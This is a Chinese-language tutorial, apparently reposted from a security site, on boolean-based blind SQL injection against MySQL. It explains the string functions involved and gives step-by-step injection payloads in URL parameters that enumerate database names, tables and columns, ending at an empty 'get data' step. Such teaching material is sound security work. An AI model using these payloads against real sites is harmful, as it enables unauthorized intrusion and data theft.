SQL注入3之盲注 – 作者:iamYit

免责声明

该文章仅用于信息防御技术的交流和学习,请勿用于其他用途
在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献;

SQL注入之盲注

盲注的概念

何为盲注

盲注就是在SQL注入过程中,找到注入点后,执行SQL语句后,选择的数据或者错误信息不能回显到前端页面。需要利用一些方法进行判断或则猜测,这个过程称之为盲注。

盲注的分类

一、基于报错显示的盲注

二、基于布尔判断的盲注

三、基于时间延迟的盲注

盲注常用的SQL函数

substr(string,start,length)

功能:截取字符串功能返回值:为截取后的字符串参数:string为操作字符串,start为开始位置,length为截取长度

举例1:$ret = substr(“hello kali”,2,4);ret = “ello”;

举例2:substr(database(),1,1)>’a’ //判断数据库名第一位是否大于a;再查看其他位进行判断

mid(column_name,start,length)

功能:截取字符串功能(和substr功能和参数一样)返回值:为截取后的字符串参数:column_name为操作字符串,start为开始位置,length为截取长度

举例1:$ret = mid(“hello kali”,2,4);ret = “ello”;

举例2:mid(database(),1,1)>’a’ //判断数据库名第一位是否大于a;再查看其他位进行判断

left(string,n)

功能:返回字符串string最左边的n个字符串返回值:string最左边的n个字符串参数:string为操作字符串,n为开始位置,length为截取长度

举例1:$ret = left(“redhat”,3);ret = “red”

举例2:left(database(),2)=’sa’ //判断数据库名前2个字符是否为sa;再查看其他位进行判断

right(string,n)

功能:返回字符串string最右边的n个字符串返回值:string最右边的n个字符串参数:string为操作字符串,n为开始位置,length为截取长度

举例1:$ret = right(“redhat”,3);ret = “hat”;

举例2:right(database(),1)>’a’ //判断数据库名最后一个字符是否大于a;再查看其他位进行判断

ord(char)

功能:char为字符,用于返回字符的ascii码,有时候服务器会对单引号进行转义,使用ASCII码就不用使用单引号参数参数:char为操作返回值:返回字符char的ascii码

举例1:$ret = char(‘a’)ret = 97;

举例2:ord(mid(database(),1,1))>114 //意为检测database()的第一位ASCII码是否大于114,也就是’r’

length(string)

功能:截取字符串的长度参数:string为操作字符串返回值:返回字符串string的长度

举例1:$ret = length(“hello”);ret = 5;

举例2:length(database())>5 //判断数据库名长度大于5

cast(expression as type)

功能:将任何类型的值转换为具有指定类型的值参数:sxpression为操作字符串,type为转化类型返回值:返回的是转化后的值

举例1:$ret = cast(’12’ as int);ret = 12;cast函数通常和mid和ord函数一起配合使用

ifnull(str1,str2)

功能:根据第一个参数是否为null返回具体的值,ifnull里有两个数,如果第一个不是null,返回str1,如果str1=null,返回str2参数:str1和str2为操作字符串返回值:根据第一个参数是否为null返回具体的值

举例1:$ret1 = ifnull(“hello”,”nihao”);$ret2 = ifnull(“null”,”nihao”);ret1 = “hello”;ret2 = “nihao”;

ascii(str)

功能:str为字符或者字符串,用于返回字符或字符串最左边的ascii码,有时候服务器会对单引号进行转义,使用ASCII码就不用使用单引号参数;(功能和ord一样)参数:char为操作返回值:返回字符char的ascii码

举例1:$ret = ascii(‘a’);ret = 97;

举例2:ascii(mid(database(),1,1))>114 //意为检测database()的第一位ASCII码是否大于114,也就是 ‘r’

什么是ascii码

在计算机中,所有的数据在存储和运算时都要使用二进制数表示(因为计算机用高电平和低平分别表示1和0),例如,像a、b、c、d这样的52个字母(包括大写)以及0、1等数字还有一些常用的符号(例如*、#、@等)在计算机中存储时也要使用二进制数来表示,而具体用哪些二进制数字表示哪个符号,每个人都可以约定自己的一套(这就叫编码),而大家如果要像互相通信而不造成混乱,那么大家就必须使用相同的编码规则;ASCII码使用指定的7位或8位二进制数组合来表示128或256种可能的字符,标准ASCII码也叫急促ASCII码,使用7位二进制数(剩下的1位二进制位0)来表示所有的大写和小写字母,数字0到9,标点符号,以及在美式英语中使用的特殊控制字符。

布尔盲注详解

什么是布尔判断SQL注入?

“布尔判断”指的是利用SQL语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态;

布尔盲注步骤:

第1步:确认注入点

方法:通过增加 ’ 和增加–+注释符,语句从执行失败变为执行成功判断注入点

第2步:判断数据库版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入;由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断;语句:?id=1′ and left(version(),1)=5 –+

第3步:判断当前查询数据库的长度

方法:由于无法回显数据,先判断当前数据库的长度,减小后面猜解数据库名称工作量;语句:?id=1′ and length(database())>8 –+

第4步:猜解当前数据库名称(本步骤需要重复)

方法:利用第3步确认的数据库长度,结合substr函数,一个一个字符猜解,利用二分法;语句:?id=1′ and ascii(substr(database(),1,1))>110 –+

第5步:猜解数据库名

方法:猜解方法和第4步类似,通过substr和ascii函数来判断和猜解,函数一样,语句复杂些;语句:?id=1′ and ascill(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>98 –+

如何猜解第一个表的第二个字符?

方法:substr (***,2,1);substr函数的起始位置是从1开始的,切记语句:?id=1′ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))>109 –+

如何猜解第二个数据库名?

方法:limit 1,1;(limit是从0开始的,切记,每次从schemata表中取出下一条记录)语句:?id =1′ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99 –+

第6步:猜解数据表名(仅查询当前数据库,利用database函数)

方法:方法和之前类似,如果经常当前表,第5步可以省略语句:?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 –+

非当前查询数据库,方法1

方法:该方法需要利用到第5步猜解出数据库名,比如叫schemaname(需要更换为实际);语句:?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 –+

非当前查询数据库,方法2

方法:利用正则表达式的方式语句:?id=1′ and (select 1 from information_schema.tables where table_schema=’库名’ and table_name regexp ‘^user[a-z]’ limit 0,1) –+

第7步:猜解数据表列名

方法1:方法:和第6步类似语句:?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”user” limit 0,1),1,1))>71 –+

方法2:方法:利用正则表达式的方式语句:?id=1′ and (select 1 from information_schema.columns where table_name=’key’ and column_name regexp ‘^ke[a-z]’ limit 0,1) –+

第8步:获取数据

来源:freebuf.com 2021-05-27 22:52:11 by: iamYit

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论